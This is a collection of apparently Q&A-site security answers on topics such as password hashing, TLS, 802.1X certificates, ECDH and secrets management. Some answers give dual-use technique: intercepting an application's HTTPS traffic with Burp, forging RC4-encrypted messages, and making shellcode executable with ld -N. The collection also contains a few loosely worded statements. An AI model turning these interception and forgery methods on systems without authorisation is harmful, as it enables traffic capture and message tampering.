Is hashing without a salt secure for random passwords?

It's routine to use a cryptographic hash function for such purposes. The relevant property is called preimage resistance. For a function H it is not feasible to find x such that y = H(x) given an arbitrary y.

(Even SHA-1 has this property, despite not being collision resistant. However, you should still use something else, like SHA-2.)

Preimage resistance is part of what makes a hash function one-way. The best attack against hashed passwords is guess-and-check. If you make totally uninformed guesses against a 512-bit hash then the probability of guessing a valid x is 2-512. The expected number of guesses you need to make before you succeed is unimaginably large.

When it comes to recovering a password from its hash, it doesn't take nearly that many guesses for a typical user's password. Password crackers have a good understanding of what kind of passwords humans choose. They succeed because they prioritize checking plausible candidate passwords.

If someone has an unrealistically strong password, then it is almost certain that the password cracking attempt will fail, just as if the cracker were making uninformed guesses. But since people don't choose nearly strong enough passwords, developers should choose a dedicated password hashing algorithm. The goal of these algorithms is to make the process of testing candidate passwords more expensive. (People should use Argon2id today. It's expensive, relatively efficient on commodity hardware, and harder to parallelize than bcrypt or PBKDF2.)

If every person used passwords that were sufficiently unpredictable, then expensive hash algorithms wouldn't be needed or useful. If each password were unique (and never reused) then salting wouldn't be necessary either. (But salting is necessary for ordinary passwords for multiple reasons.)

If you control the "password" then you can make sure that those values are sufficiently unpredictable. (At that point, you may as well call it a "key".) As long the the hash function is preimage resistant and inputs each are sufficiently unpredictable, then plain old (secure) hashing is safe, even if the table of hashes gets leaked.

Because it doesn't matter if the hashes are leaked, you don't need a separate ID to use as a primary key. The hash of a password itself can be used as the primary key.

(You wouldn't want to do this for user-chosen passwords. A side channel (like timing attack based on database lookup) might leak the hash output, which potentially could allow offline password cracking.)

If the entropy of each token is large enough (256-bits is definitely safe, see "birthday paradox") then you can be assured that each token is unique. Similarly if a hash function's output is large enough, then distinct (real-world) inputs will result in distinct hash outputs. Thus, it is okay to generate a 40 character token, give the token to the user, and store a 64 byte hash in a database (alongside the account ID, expiration time, or anything else relevant).


Cookie set from a server to a client with different domain(via XHR), but not recognized by Client domain

From the documentation at MDN:

Note: XMLHttpRequest responses from a different domain cannot set cookie values for their own domain unless withCredentials is set to true before making the request, regardless of Access-Control- header values.

It is unknown if your request already includes withCredentials since you don't show any code in your question.
Also make sure that the cookie has the correct SameSite attribute set since browsers started change the default to Lax which might not be what you need in your use case.


Why is it (considered) more secure to enter a password in an authentication/identity service instead of custom app login?

Is it really safer? Not really. In fact if your app was perfect or at least as thoroughly tested and reviewed than browsers are for the login script part, it would just be as safe on a technical point of view. I assume that your app is correctly written, but what about the tests and reviews point?

Because the most important point here is attack surface. Users have to give their passwords through the browser, so attacks against the browser are a possible vector for capturing passwords. But for any other app that would ask for the password, another possibility of attack.

Another point is user education. Security specialist try hard to educate users that a password is highly sensitive data that should only given to well known and securely identified services. The browser is a well known vector. Whether your app can be depends on its usage: the more often it is used by a user, the best candidate.

So you are left with the good old cost/benefit ratio. What are the additional features or cooler UI elements for having the app manage the password? Do they balance the surface attack increase, and the user stress to give the password in another screen? If the answer is yes, just proceed. Else refrain.


2FA and https enough security for public wifi?

A public Wifi means an uncontrolled router an possibly an HTTP proxy. That means that you cannot rely on that to securely connect you to the correct server, not speaking of any MiTM attack.

But that is what SSL/TLS is made for: if your client browser is correctly configured (it should be...), the certificate presented by the server guarantees that you have reached the correct server, provided you control that the URL is the correct URL and actually uses HTTPS(*). Then the protocol ensures that everything exchanged between your client and the server is encrypted so you can pass you credentials there, and do whatever you need to do without risk of MiTM attack.

But the additional rule is that you should control the URL in the address bar of your browser - what should be done consistently anyway...

(*): if the URL does not start with https:// or is not exactly what you are used to, immediately close the connection because security cannot be guaranteed...


No, it's not secure.

First, it relies on security through obscurity. Someone who knows you used that method might be able to undo it by trying random changes to the file.

Second, you don't know what you changed, so it is possible you changed something unimportant which might be fixable by a better packing tool.

Third, zip files can be password-protected. Why don't you just do that? (for further reading I recommend the question Is it easier to crack a ZIP file than a 7z archived file given they have the same password?)


Hash/Digest of string; multiple clients and reverse lookup must be impossible

You can't know the ID but you MUST uniquely identify him? Then why not just setup another system to provide a secure identity(pubkey pair) for a given ID? That system will be the lookup-DB in case of tampering but also the weak point in the privacy of your system. If you don't need that recovery mechanism, just don't create that lookup-DB in the first place..

Or, if you don't really care which customer uses your service but only that it is SOME valid customer, take a look at anonymous authentication using zero-knowledge proofs. A simple solution might also be to use blind signatures upside down: The server distributes valid signatures to the customer during enrollment and the customer randomizes them before authentication. In that approach the customer can create new aliases by randomizing a signature you gave him, but you can always assure that the signature is one you generated at some point.


Best way to secure javascript front end/REST back end architecture web site?

Well, since you state that the REST API can be accessed only by authenticated clients you will firstly require a form of sessions to remember the authentication state of the client. Depending on whether you can alter the server code of the REST API you could implement this on the API providing server itself.

This could use any of the well known user authentication means like a username/password combination or using a (self-signed) certificate.

However just like with HTTP you will have to make sure that passwords don't travel the line in plaintext and once the session is authenticated the connection should not leak the session identifier allowing for it to be hijacked. This basically means you have to mimic SSL-like behaviour or implement SSL support for your front-end. An example can be found here: http://assl.sullof.com/assl/

Your questions related to OAuth are a different question and I would suggest you ask that in a separate question if it still remains something you want to know.

With regards to a proxy layer, this is a viable option only as long as the API is not publicly accessible other than through such a proxy. This proxy layer would have to implement the same SSL-like properties but this setup gives you the added feature of being able to keep the authentication logic and the API provider separated. However I would not recommend it if you are able to alter the API, because if any part of your server accidentally provides access to the private API you can circumvent your authentication requirements.


What could be the scope of ISO 27000 standards?

Of the ISO 27000 range of documents, only 27001 is a certifiable standard. The others in the range are guidance and advisory documents.

The first step of ISO 27001 implementation is defining the scope. In my experience it would be unusual to have "IT Processes" as a scope - it's usually defined by business area. So for example the Operations part of the business (excluding supporting business units, such as HR).

You can't be certified to part of ISO 27001. It's all or nothing.


What attacks or exploits are possible when MAC address, IP, and Port of a WiFi access point are known?

If the WiFi network is configured securely (which is a topic for another question), none of that information should be required to keep secret.

The MAC address of a WiFi access point is no secret: It is constantly broadcasting it anyway.

With "IP and port" you surely mean the IP and port of the web interface. When that interface has a password which is long enough to withstand a brute-force attack (having a username which is not "admin" or something equally obvious is a bonus), this should not be a problem. This is also no secret information: Most consumer-grade models have these hardcoded and with better wifi access points where it can be changed, it is often left on the default. So there aren't many guesses to make.


Response on targeted attacks against an individual

Format your hard-drive, reinstall your OS of choice and then reset all your passwords online.


What multiplier to use when calculating the average time to crack passwords with a given entropy?

The term you're looking for is "hash rate", and a quick Google search indicates that a GPU-based password cracker can try on the order of 10^10 passwords per second when cracking MD5 hashes.

Generating hashes is an example of an "embarrassingly parallel" process, so doubling the available computing resources will double your hash rate.


Chat encryption system avoiding protocol sniffing and then key+decryption replay?

not just HTTPS with SSL since I've read it can be sniffed and
  decrypted with a few tools

This is not true.

In general (and in the case of SSL/TLS) replay attacks are prevented using a "number only used once" (ie. nonce). If the other party receives the nonce twice then it's obviously a replay attack.

With regard to the blog post you linked:

  To do so, it dynamically generates a certificate and signs it with a
  the private key of a CA certificate that the client must trust.

For this to be successful an attacker must have physically gained access to the machine and installed a new trusted CA certificate (or else compromised the private key of one already trusted which would most likely be a global security issue). That attack would not work if you were simply a man-in-the-middle (without also having a CA certificate to sign forged certificates with).


Why doesn't the client send data before server's response in TLS session resumption?

With Session Identifiers

There's no guarantee that the server remembers the session identifier. It may have fallen out of cache, or another server may be handling the request if SSL isn't terminated at the load balancer.

The client needs to know the server can resume the session before sending any data, because otherwise a the full handshake process will need to be repeated.

With Session Tickets

Even with Session Tickets there is no guarantee that the server will be able to resume the session. The session key may have changed, or the request may hit another server with a different, misconfigured session key.

Therefore, the client needs to wait for the FINISHED message before proceeding.


Can Burp be setup to intercept traffic from client application?

Short answer:

It depends on how your client application communicates to the backend server.

Long answer

The answer to this question depend on how the application communicates.

If it is using HTTP for communication and if it relies on the system proxy settings, yes you can: by setting the system proxy to the burp proxy listener.
If it is using HTTP for communication and if it does not rely on system proxy: yes if there is a way to configure the executable to use proxy from a configuration file or by reverse engineering.
If it is using HTTP for communication and if it relies on the system proxy settings, yes you can: by setting the system proxy to the burp proxy listener.
If it is using HTTPS and if it relies on the system trust store and proxy, you can: by setting the system proxy to the burp proxy listener and adding burp certificate to your system trust store.
If it is using HTTPS and is using a custom trust store, you can: if the custom trust store can be manipulated by reverse engineering the executable or a configuration file.
If it is using some other binary protocol, https://github.com/summitt/Burp-Non-HTTP-Extension could be an option. Doesn't work always though


Will browsers trust an expired self sign certificate in the Trusted Root store

That depends on the browser, the TLS implementation and the settings that influence certificate validation.

Every TLS implementation should not (from a better-security point of view) trust expired certificates, but the default behavior differs and is configurable.


Is it unsafe to use environmental variables for secret data?

In general storing secrets in environment variables does have some downsides, as Diogo says in his post.

Generically, for platforms like Heroku, or using technologies like Docker where the application is expected to be ephemeral, dedicated secrets management tools are the best way to go.  The idea is that there should be a tool which holds the secret in encrypted form and provides it to the application at runtime.

The secret can then live inside the application, generally as a file, which can be read and the secrets used from that file as needed.

Two examples of tools in this area are Hashicorp Vault and Square's Keywhiz.

In addition to this if you're deploying on a cloud, generally the cloud provider should have some kind of secrets management facility, for example AWS Secrets Manager.

I've not had much experience with secrets management on Heroku, however they do seem to have an add-on called ice which operates in this area.


Trying to understand how Digital Certificates and CA are indeed secure

Is the only protection here that Bob actually checks that the public
  key on the returned certificate matches what he originally sent in his
  request to the CA?

If the public key was switched before the CA used it to create the certificate, then Bob's web site won't work at all.  The private key, which he has kept safe, will only work with his original public key.  It is unlikely the attacker can MITM all connections and prevent this fact from becoming obvious.

  intercepts Alice's request to veriSign when she asks for veriSign's
  public key, and switches it out again with the matching public key to
  the malicious secret key.

Alice doesn't reach out to Verisign; Alice only trusts copies of the CA certificates in her browser or computer's trusted certificate store, of which Verisign's happens to be one.

The trusted certificate store is populated at install time (of the OS, or in the case of Firefox, of the application) and is then updated via regular OS or Application updates as necessary - less than you'd think, as many root CAs are long-lived.


Why can't a cryptographic hash inside a cryptogram serve as a MAC?

Appending the hash then encrypting the whole lot is not necessarily secure. Actually, depending on the encryption system, it may be awfully weak. For instance, suppose that encryption is done with a stream cipher such as RC4: encryption is done by XORing with a key-dependent pseudorandom stream. Thus, the attacker sees this:

   E = (m || h(m)) XOR S(K)

where m is the message, h is the hash function, and S(K) is the pseudorandom stream generated from key K. If the attacker guesses the value of m (from context), then he can recompute h(m), and then obtain:

   S(K) = (m || h(m)) XOR E

Then, the attacker chooses his own message m', with arbitrary contents, and send:

   E' = (m' || h(m')) XOR S(K)

and voilà! Integrity has been defeated.


How to report a vulnerability in a site that wants to call the FBI?

If you're really just trying to help out for the greater good, you can send a message anonymously using something like Guerrilla Mail over Tor. Believe there's also a Tor hidden service for/like this, but I'm at work right now and can't check to see if it still works.


rdi points to rri_shellcode+1. This is located in the .text segment which is not writable by default, thus causing the segmentation fault.

You can link it using the ld -N option if you really need .text section to become read/write.


Is it possible to examine a Huawei device to answer definitively whether or not there is a security risk?

This article from the MIT Technology Review says that the U.K. has been vetting Huawei gear before deployment. It provides for only a limited level of assurance. The risks are loss of privacy, espionage, and sabotage.
I left the electronics/computer industry years ago but I think the following views are still applicable to the state of the art.
If espionage is intended, the manufacturer can make a device's code hard to access and inspect. A flash memory device might be part of a system-on-chip or system-in-package that obviates the need to present memory lines on the surfaces of the package. This would make code very inconvenient to access. In the extreme you may resort to using a scanning electron microscope (SEM). Courbon et al used a SEM to read a 210 nm flash memory. (The article is not dated but the most recent reference is from 2015 so the paper is at least as recent.) If you can access the code, you may then find that it was obfuscated. Obfuscated code is created when the programmer uses a program to turn the original code into a Rube Goldberg machine. Whether this is effective in hiding backdoors is debatable.
A custom chip can be a mystery. A chip "normal" in every way except identification looks like a mystery. A manufacturer can simply print phony or confusing identification on one or more of the devices on a board. A device can be made to look standard when it is in fact not. If any well funded entity were to invest in hiding or disguising functionality, it would take a huge amount of research to determine the "true circuit" of any single design . Until you know the true circuit, any inspection of the code provides no real assurance.
If you believe you need to go to much trouble to determine the true circuit and inspect code for a backdoor you may be better off just designing and building your own telecommunications equipment. More realistically you would install intrusive oversight in design, manufacturing, support, and updates and perhaps take over corporate governance through the nationalization of a maker.
If you are not going to be intrusive you are implicitly accepting a certain amount of risk and you are perhaps relying on commercial pressures to keep the manufacturer honest.
If updates are disabled, you might conclude that a particular design is not a security risk after a certain amount of effort. You would not know if the effort made is insufficient and that a larger effort is needed. It may not be practical or even safe to disable updates. As soon as the code is updated you do not have any assurance. You may not be aware of the event of an update if the manufacturer tries to be stealthy.


How to secure Google Account from SIM hijacking & intercepting Two factor SMS codes on the way & still keep it accessible?

You may look at https://www.yubico.com/about/background/fido/ for your 2FA needs. It would mean bypassing your phone for 2FA completely.


How important it is to change password regularly?

Regular password changes are notionally a good idea because they guarantee someone can’t acquire your password and use it to snoop on you over an extended period of time. However, regularly changing your password won’t help much .

If an attacker gains access to your accounts, they’ll most likely use their access to cause damage right away. If they gain access to your online banking account, they’ll log in and attempt to transfer money out rather than sit and wait. If they gain access to an online shopping account, they’ll log in and attempt to order products with your saved credit card information. If they gain access to your email, they’ll likely use it for spam and phishing, or attempt to reset passwords on other sites with it. if they gain access to your Facebook account, they’ll probably attempt to spam or defraud your friends immediately.

Typical attackers won’t hold onto your passwords for an extended period of time and snoop on you. That’s not profitable — and attackers are just after profit. You’ll notice if someone gains access to your accounts.

Password changes in response to specific events are a good thing, of course. It’s a good idea to change your passwords on websites that were vulnerable to Heartbleed but have now patched it. Changing your password after a website has its passwords database stolen is also a good idea.

http://www.howtogeek.com/187645/htg-explains-should-you-regularly-change-your-passwords/


An elliptic curve is a point in a bi-dimensional space, hence it has two coordinates (usually called X and Y) which are values in some field. In the case of P-192, the field consists in integers modulo a prime p of length 192 bits (p lies between 2191 and 2192). The curve points are the (X,Y) pairs that fulfil the curve equation (Y2 = X3 + aX + b for two constants a and b that define the curve). It so happens that the number of points on the curve (the curve "order") is an integer n whose value is also close to (but somewhat lower than) 2192. The specific curve (the constants a and b) were chosen so that n is prime.

A private DH key is an integer modulo n. Thus, it can always be encoded as 192 bits (24 bytes) since n itself is a 192-bit integer.

A public DH key is a point; it is what the two parties send to each other. For private key u, the corresponding public key is the point uG (multiplication of a conventional curve point G, which is part of the curve definition).

When two parties U and V do an ECDH, they use (or generate randomly) their private keys u and v, and send to each other the corresponding public key uG and vG. The resulting shared secret is then the point uvG that they can both compute (but that eavesdroppers cannot compute, which is the point of ECDH).

It so happens that ECDH is defined by the ANSI X9.63 standard and that standard says that the actual shared secret is not the complete point uvG, but only the X coordinate of the point uvG. That coordinate is an element of the field in which we are working, i.e. an integer modulo p. Thus, it can be encoded over 192 bits, which is why you get only 24 bytes. Note that the value is an integer modulo p (the field modulus), while private keys are modulo n (the curve order); p and n are distinct (but both are 192-bit values in the P-192 curve).

You may ask how comes that ECDH is defined that way. The reason is mostly that point coordinates are redundant: since a point (X,Y) must fulfil the curve equation, from X alone you can compute X3 + aX + b = Y2, thus get the square of the Y coordinate. In a field, a given value can have at most two square roots, so if you have the X coordinate then you can recover Y and -Y, i.e. almost the full point. In that sense, with the X coordinate only, you almost have all the secrecy that you can expect from ECDH.

(This implies that ECDH is still possible when the two parties send to each other only the X coordinates of their respective public keys uG and vG, provided that they both recompute the missing Y. Not all implementations support that, though, since it involves some extra code for square roots, and there is some uncertainty about possible patents on the subject. In all generality, this is called point compression.)


Implemented DMARC, getting reports of canonical.com sending spam - has Ubuntuone been hacked?

Canonical is the parent company of Ubuntu, so yes there is likely a relationship between you registering your account there and getting this alert.

I doubt a hack is what is happening, but more likely a misconfigured email client that doesn't have your DKIM key (since you never gave it to them) and they are sending from an MFROM address that doesn't match your SPF record.

They probably invented some validation or mailing list software that doesn't play well with DMARC.


Configure Firefox against malicious 302 redirect from a embedded image resource?

You cannot defend proactively against this class of attacks. Consider:

the source file contains a http URL.

You cannot tell whether it is malicious or not.
You don't want to prevent it from being loaded (it would block the attack - but would also make several legitimate image repository sites worthless).

you then have to request that URL.

the logout action is activated upon request, so when the browser receives a HTTP/200 OK text/html page saying "You have been successfully logged out", even if it refuses to display it, the command has already completed.

You can organize things so that the attack fails, though.

You could purge all session identifiers from any request as soon as you hit a Redirect, so that the logout page does no longer recognize you. This might be doable with a Firefox extension. This way, you would have:

lucifer -> renren:   get me the message
renren  -> lucifer:  there is an image here
lucifer(*) -> somesite: get me the image
somesite-> lucifer:  go to renren/logout
(the request thread drops the cookie jar and becomes anonymous)
anonymous->renren:   get me the logout
renren->anonymous:   logout who? Error. Cannot logout.
(the request thread expires)

(*) actually your cookie ID with renren is not sent to somesite, since it is likely in another domain.

This could lead to malfunctions in some AJAX applications and possibly OAuth implementations, though; I'd need to check this out.


How can I prove that I wrote a certain blog post?

After the fact (and limiting the answer to viable technical solutions), there is probably no way to prove you wrote something. I will assume the content is yet to be published.

There are two parts to a reasonable "proof", the first being association of the content with
a digital identity, i.e. signing the content so that it can be verified with a recognisable and easily available public key. The second (which may not be required, depending on how paranoid you are) is proving you created it first (i.e. to prove or disprove plagiarism).
A digital signature provides integrity and authenticity (proof of sender). Proof of authorship (related to non-repudiation) is a more difficult problem to solve.

The simplest way then is with a public key solution, as you suggest: before you publish you get a trusted third party who provides a secure timestamping service to timestamp and sign a digest of your signed content. The timestamping service will use X.509 certs, you are free to use PGP or X.509 to sign your content here.

Your "provable" published data should be: the content (signed by you) and signature (if not inline), your public key or its location, the digest method, and the third party's timestamping signature (of the digest).

This question on signing code commits pretty much covers the technical details:
  https://stackoverflow.com/questions/11913228/how-can-i-use-rfc3161-trusted-timestamps-to-prove-the-age-of-commits-in-my-git

A possible problem here is how to represent your content in a canonical format so that others can verify the signature. You should consider signing the content in a format which can be downloaded "intact" and not subject to unintended reformatting or alteration by the server side blog software. Offering a PDF version of the article would be a solution, and you also have the option of using an X.509 signature and timestamp within the PDF itself (PDF).

If you're old-school, there is a free 21st century equivalent to posting yourself a copy by registered mail, which may or may not be useful, and probably has about as much legal weight (i.e. negligible):
  http://www.itconsult.co.uk/stamper.htm

There is now a similar question on Programmers.SE , one of the interesting answers involves using Bitcoin to make a sacrificial micro-payment to a non-existent address (your content hash value). Once your transaction gets onto the blockchain you have your "proof" (albeit with reduced timestamp resolution, it could take some tens of minutes).


WPA2 with 802.1x - how is the server certificate validated?

I could distribute the RADIUS' server certificate to all clients. But this would counteract the whole reason I want to implement option B.

Let me start by saying it isn't the RADIUS server's certificates you need to distribute, it is the certificate of the CA that signed the RADIUS server certificate. I will get back to this a bit later in the answer.

  if I use a self-signed certificate, the user has to manually accept this self signed certificate

Some supplicants won't even accept a self signed server certificate, unless certificate validation is disabled.

  But what if I use a certificate signed by a CA (like Let's Encrypt, or any other CA which can be found on most devices) for the RADIUS server? Will the client accept it automatically?

Depends on the supplicant. Some will, others won't. Without some sort of additional configuration (manual, GPO, MDM, etc), I would even go out on a limb to say that vast majority of them will still prompt the user to accept the certificate.

  What stops an attacker to go to the same public CA and obtain a valid certificate for himself? (Is there a way to specify to accept only certificates for a certain domain?)

Same public CA? Pick one that does a reasonable attempt to validate you are the domain owner before generating a certificate.

However, that is beside the point as a valid certificate from any major CA will often provide the same "assurance" (if the EAP supplicant uses any known valid CA) and it may be easier for an attacker to get a valid certificate from a different CA from the one where you get yours (if your CA already has legitimate contacts for your organization, it is likely they will use those to validate the request).

  Are the answers to the previous questions valid for all 802.1x methods that provide server authentication?

It sounds like a brief primer on what is taking place with 802.1X could be helpful.

Generally speaking, the EAP supplicant (no matter the EAP method chosen) must make a decision on whether it will send your username/password or other credentials to the authentication server without being connected to the network. This means it is only able to work with information it has prior to the connection and information it is given by the authentication server. The EAP supplicant can't go out on the Internet to check another source until after it has authenticated and it is too late to withhold your credentials.

The EAP supplicant does this primarily by checking two things (with a couple options present in many EAP supplicants like the Windows and OSX native supplicants, but often not on mobile devices like tablets and phones):

Is the certificate provided by the authentication server a valid certificate issued from a CA trusted by the client device?
(Optional) Is the certificate issued from the designated CA(s) in the EAP supplicant?
Does the hostname listed on the certificate match the hostname given by the authentication server?
(Optional) Is the hostname given by the authentication server one of the hostnames allowed in the configuration of the EAP supplicant?

The supplicant may also prompt the user to approve the certificate if it passes 1 and 3 above. Or the EAP supplicant may skip the above and have the OS prompt the user to "check and approve" the certificate (bad idea), or it may be configured to not validate the certificate at all (worse idea) before sending your credentials.

  Since a) requires distributing a certificate to the users, I want to go with option B.

Distributing some sort of certificate may be unavoidable. Often it is simply a matter of if you are distributing client certificates as well. (If you do choose an EAP method with client certificates, such as EAP-TLS, I highly recommend individual client certificates per user/device rather than a shared client certificate.)

Many organizations will set up their own CA to generate their RADIUS server certificates (and client certificates where applicable). This does require installing the CA certificate on the clients as well.

Why would they do this? Here are a few reasons:

Cost - getting certificates that provide for authentication service (not just HTTPS web traffic) could be expensive, especially if the organization runs a large number of authentication servers (as generally you need a certificate per server).
Reduced end user impact - most CAs will only issue certificates for a maximum of three years (and some now only two). When the certificate on a wireless authentication server changes, at the very least the end user will be notified of the change and prompted to accept the new certificate. In some cases, the EAP supplicant will simply fail to connect to the wireless network until reconfigured. Organizations that run their own CA can choose to issue certificates with expiration further out than 3 years, reducing how often their end users are impacted by a certificate change.
Increased security - if the organization uses a public CA to issue their authentication certificates, then an "attacker" will find it easier to "impersonate" the organization's network. It is trivial (and in some cases entirely free) for an attacker to get a valid certificate from a public CA that can match the hostname of the attacker's own "authentication server." If specific hostnames for the authentication servers are not configured in the EAP supplicant (and they often are not or can't be), then even if the designated CA is configured and is a public CA, the attack just needs to get their certificate from the same public CA. If only the organization's CA is configured, the attacker would have to compromise the CA and generate a certificate there as no other certificate would be accepted.

  how can I mitigate the rouge AP attack?

No matter how your approach it, while 802.1X adds a higher level of security to your wireless connections, it does so at the cost of making secure configuration of the client devices more difficult.

If you are only concerned about Windows in an Active Directory environment, then you can simply use group policies to enforce the correct configuration and install any certificates.

Otherwise (and who worries only about Windows today?), the best methods for approaching this issue are to use one of many 802.1X on-boarding solutions that can configure the majority of your clients for the best level of security. These do however cost to acquire and/or operate and most on the products on the market are now bundled as part of a CA, NAC and/or RADIUS solution.

Solutions such as Cisco ISE, SecureW2, Ruckus Cloudpath, Aruba Clearpath/QuickConnect, and Impulse SafeConnect are some of the solutions I have seen deployed for this purpose. Or simply use your search engine of choice to look for "802.1X onboarding" or "BYOD onboarding."

Note: portions of this answer were derived from my own answers elsewhere on this or other sites.


Windows Domain Account Unlock Best Practices?

Allowing any user to unlock another is definitely not a best practice and introduces the risk that use of "the script" could allow potentially unauthorized unlocks to occur undetected (e.g., malicious attackers performing password guessing). For example, if an attacker is guessing passwords and locks out an account and the real owner asks a co-worker (non-IT / manager) to unlock it, the intrusion attempt may go undetected. IT/Managers "should" be trained to be on the alert for suspicious lockouts with unknown root causes.

That said, there is some validity to the comment that in a small organization this might be acceptable, but doesn't scale well from a security POV in larger organizations. If the org is going to move forward with this practice, there should be some level of security awareness training that accompanies its use, and perhaps a procedure for manual documentation of events or automated logging (and subsequent review of said logs).


Is there a reason to create a database user without schema privileges?

I'm not sure that this is always done for security from external users.  For instance - you might have a DBA who wants developers to be able to Select/Update/Delete records, but not start rolling their own schema changes.  So they setup an account to be used by developers while keeping the more powerful accounts for themselves.

In the case of an external user gaining access to your database through SQLi or something like that, I agree that they can wreak havoc with basic select/update/delete operations, but there are others things that they could do if they have the ability to say drop tables.  For instance - if the main page of an application queries a specific table and that table has been dropped, the attacker can essentially prevent the site from coming up.  Granted - if your db has been compromised you probably want to take the site offline, but ideally you decide when that happens and not the attacker.

This might be far fetched, but an attacker could also start tracking information that they might find useful by logging information to a table they have created using triggers or something like that.  If the database doesn't get a lot of attention this might go un-noticed and they could check back and use this information for more sophisticated attacks.

Those are some specific scenarios that come to mind.  I disagree with your assertion that creating accounts with the least privileges they need to function is a "cop-out".  Depending on how creative an attacker is, i'm sure there are other ways they could exploit these extra privileges to their own nefarious ends.  In addition I can't think of a reason to give accounts more power than they need.


I've been pondering this and I don't think your networking department is justified in this opinion. It does all depend on your threat model, but given the threat model of "hacked content to slip through the clients antivirus scanner", this opinion makes no sense.

First, let's drop minification, because it's in plain text. There is no security reason or threat model that could be addressed by not minifying.

Now, let's look at the "hacked content". Because you are using HTTPS, the malicious content has to come from your server, and not a MitM. This excludes hacked ad networks or 3rd party content, because that's being served from elsewhere. This opinion also suggests that this threat (hacked content being served from your own servers) is credible enough to not gain the operational benefits of compressing the content. I doubt this is actually the case.

The other issue here is the concern for the end client. Besides being an odd concern for a web service, antivirus scanners on the client can still scan the content once it is uncompressed. Even a perimeter scanner will decompress content in order to scan it.

In addition to all this, you're right about having no control over the hacked content anyway. The hacker can choose to compress or not if they have access to your servers (which would be required in this threat model), so choosing not to compress static content is not justified.

In the end, it sounds like there is more to the story, the architecture, and odd decision than meets the eye.


Where are some Security Policies that are actually in use?

This may be seen more as a template than a policy, but I think it's worth mentioning here.

The U.S. National Institute of Standards and Technology has a number of Special Publications (SPs) regarding the security of information systems.  These are collectively called the 800 series, as all of them have numeric designations beginning with 800.  They are used by some government organizations, and I imagine some corporations have adopted the concepts as well.

Perhaps the most significant of these (and the most relevant to this question) is NIST SP 800-53, "Recommended Security Controls for Federal Information Systems and Organizations".  As of this writing (Jan. 29, 2011), the most recent version of this document is Rev. 3 and can be downloaded as a PDF here:

http://csrc.nist.gov/publications/nistpubs/800-53-Rev3/sp800-53-rev3-final_updated-errata_05-01-2010.pdf

I could write a whole paper describing what this document is, how to read it, and how to use it.  Here, I think it is sufficient to say that it provides a strong foundation from which an organization can build a Security Plan for the protection of its IT systems.


How were Cryptographic nonces used in the Yahoo! data breach?

I wonder if this was a not a mistake in the article.  They call the stolen cryptographic values "nonces," but a nonce is intended to be used only once and I would not expect them to be stored in an account database because, depending on their use, the value would change many times during an authenticated session.

If I had to guess, what they call a nonce is actually a salted hash generated from their password and the script on the Yahoo server was allowing them to authenticate using the hash instead of checking the provided password against the stored hash.

Edit:

After reading this, the "nonce" changes only after changing the password which to me indicates it is either their salted+hashed password or else some type of unique identifier for their account cryptographically generated based on their password and maybe other fields, but I suppose it could be based on other information entirely.

It is hard for me to guess what the script used to mint the cookies intended purpose was.  It could be that it is part of their regular authentication process.  It was available from the internet and so may have been called by the browser during authentication making it easier to find by the attackers.  Maybe the browser called one authentication function to validate the username/pass and was returned the "nonce" which it used to call the function in question to generate the session token.  Whatever it's intended purpose, in this case it allowed the attackers to bypass the traditional authentication process that salts+hashes the client provided input to compare to what is stored in the table, instead allowing the "nonce" value to generate a session token with the authorization granted to the account.  The whole point in storing passwords in a salted+hash form is to prevent someone who successfully stole the account database from being able to use the credentials without a lot of extra work.  With the referenced script on a server this step was basically eliminated and the results were not much different than if the passwords were stored in cleartext.


How secure is FileVault 2 while the computer is in sleep mode?

Just a quick addition to the previous answers; if you are still worried someone would get the hold of your encryption key from RAM during standby, one could enable a power management feature of OS X called "DestroyFVKeyOnStandby", as mentioned here (same link as Richard Belisle), page 37.

From man pmset:

destroyfvkeyonstandby - Destroy File Vault Key when going to standby mode.
    By default File vault keys are retained even when system goes to standby.
    If the keys are destroyed, user will be prompted to enter the password while
    coming out of standby mode.(value: 1 - Destroy, 0 - Retain)

The full command would be sudo pmset -a destroyfvkeyonstandby 1.

This would enable destruction of the FileVault key during standby for all -a power modes. That is UPS -u, battery -b and charger -c (wall power).


How am I supposed to verify the origin of a sign-in page in a web view?

Unfortunately this is how the sad state of the internet is now. With single sign on, it is how it works. The only way to be sure there isn't any side offloading of the sign in is to link the data submission with the remote host, buy even then there could be a cluster of outgoing submissions.


Need To Use Live CD With Mac without Shutting Down Computer (VMWare/Parallels Secure?)

You can use Tails with Mac OS by using a virtual machine! Think about it this way: in a situation where you want to preserve your privacy, you want to set up your operating system so that it can be wiped/thrown away quickly. That's why so many folks like to do their private operations off live USBs or virtual machines.

Here are a few ideas:

Use a live USB to boot into tails at start up.
Keep an encrypted VMWare image of tails to use while browsing, with proper preparations to delete it if and when necessary. Always keep it fully encrypted when not in use.
Always use full disk encryption on your mac. Turn it off and keep it encrypted when you can.


Is it possible to turn a computer into a bomb?

In 2011 the news was reporting on HP Printers catching fire. HP Responded saying that there was a hardware element called a "thermal breaker" to prevent this from happening.  The researcher never produced a burning pile of printer.

Also in 2011 Charlie Miller was researching the firmware on Apple's batteries trying to get them to explode or catch fire.
However the worst he was able to do was brick the battery.

Edit Feb 2014 - CrowdStrike demonstrated an attack at RSA on a Mac which overrode temperature controls, powered off the fans and spiked the CPU usage in order to overheat the machine. And while this specific example was limited as fires are not welcomed in the Moscone Centre, the ateam state that they can cause the machine to catch fire.

Now lets flash back to 1985. The Therac-25 radiation therapy machine is killing people  due to a bug in how the software interacted with hardware.  An eariler model had "Hardware Interlocks" which prevented the operator from accidentally overdosing patents with radation.

All of the devices we use should have a hardware control preventing software from damaging the physical world.

But there are some systems where its impractical for hardware to prevent all damage to physical systems. This is the real fear behind vulnerabilities in SCADA systems. It maybe possible for an attacker to remove safety controls used by a power plant or put it into an unstable state.

An example of this happening in real life is Stuxnet being used to destroy centrifuges. There is some evidence to suggest that a hacker was the cause of a missile explosion at an Iranian Military base.  So if the computer happens to also be a bomb,  then yes,  a hacker can probably make it explode.


Why are simple packet filter firewalls insufficient for the protection of web applications?

A simple packet filter firewall can only filter out packets based criteria such as source IP address and destination port number (e.g.80 and 443). But a packet from a trusted source IP address (e.g., an intranet host) and destined for port 80 (http) on the web server, may be allowed by a simple packet filter firewall. Yet that packet (well, that series of packets) can still contain malicious data, such as form input characters that make up an SQL injection attack against the web application.


My new found understanding:
Two types of logons for this- one stores and one doesn't:

Interactive logon occurs when a user enters their logon creds at boot, RDP, or other interface on the local machine. This logon type injects user’s credentials into memory as Kerberos tickets TGT, NTLM, LM, or plain text. This logon type is the primary security concern when dealing with mimikatz, TGT spoofing, procdump, and PTH attacks. In other words interactive logins need to be kept to LEAST privilage.

